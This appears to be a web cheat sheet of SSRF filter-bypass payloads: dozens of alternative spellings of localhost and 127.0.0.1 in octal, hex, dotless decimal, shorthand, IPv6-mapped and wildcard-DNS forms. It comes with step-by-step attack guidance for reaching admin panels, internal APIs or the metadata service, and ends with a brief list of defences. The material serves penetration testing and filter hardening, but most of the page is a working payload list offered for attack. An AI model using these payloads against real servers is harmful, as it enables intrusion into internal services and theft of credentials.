Localhost / 127.0.0.1 SSRF Bypass Payloads
Every spelling of localhost for SSRF: 127.0.0.1 shorthands, decimal/octal/hex/dotless encodings, IPv6 loopback and IPv4-mapped forms, and wildcard-DNS loopback — to beat deny-lists that string-match 127.0.0.1.
Use these to reach a service bound to the host itself — an admin panel, an unauthenticated internal API, or the metadata service — when the app blocks the literal "localhost" or "127.0.0.1".
The whole 127.0.0.0/8 block is loopback, and an IP has many valid textual forms the resolver treats as identical, so a deny-list that matches one spelling misses the rest.
Confirm the request is server-side with an out-of-band listener first; then work down the list until one spelling slips past the filter.
Loopback spellings
127.0.0.1Standard loopback
localhostHostname loopback
127.1inet_aton shorthand
127.0.1inet_aton 3-part shorthand
0.0.0.0All-interfaces (often routes to loopback on Linux)
0Zero → 0.0.0.0 in many parsers
127.0.0.1.Trailing dot (FQDN root)
0177.0.0.1Octal first octet
0x7f.0.0.1Hex first octet
2130706433Dotless decimal loopback
0x7f000001Dotless hex loopback
017700000001Dotless octal loopback
[::1]IPv6 loopback
[::ffff:127.0.0.1]IPv4-mapped IPv6 loopback
127.0.0.1.nip.ioWildcard DNS loopback
localtest.mePublic hostname pinned to 127.0.0.1
Numeric encodings of 127.0.0.1
Decimal, hex, octal and shorthand forms.
127.0.0.1Canonical dotted-decimal (baseline)
2130706433Dotless decimal (32-bit integer)
0x7f000001Dotless hexadecimal
017700000001Dotless octal
0x7f.0x00.0x00.0x01Per-octet hexadecimal
0177.00.00.01Per-octet octal (leading-zero = octal in inet_aton)
0x7f.0.0.1Mixed hex + decimal
127.0x00.0x00.1Mixed decimal + hex
127.0.13-part shorthand (last part = 16-bit)
127.12-part shorthand (last part = 24-bit)
127.000.000.001Zero-padded octets (ambiguous octal/decimal across parsers)
6425673729Decimal + 2^32 (mod-2^32 overflow bypass)
IPv6 / IPv4-mapped loopback
[::ffff:127.0.0.1]IPv4-mapped IPv6
[::ffff:7f00:1]IPv4-mapped IPv6 (hex words)
[::127.0.0.1]IPv4-compatible IPv6 (deprecated, still parsed)
[0:0:0:0:0:ffff:127.0.0.1]Fully-expanded IPv4-mapped IPv6
[::ffff:7f00:1]:80IPv4-mapped IPv6 with explicit port
[::1]IPv6 loopback
[0:0:0:0:0:0:0:1]Expanded IPv6 loopback
[::ffff:7f00:1]IPv4-mapped loopback (hex)
Defense
- Don't build deny-lists — resolve the hostname and reject the resolved IP if it falls in loopback/private/link-local/reserved ranges.
- Check every resolved A/AAAA record, not just the first, and pin the validated IP for the connection.
- Drop schemes you don't need to http/https only.
- Run the fetcher in a network namespace that physically can't reach loopback services or internal subnets.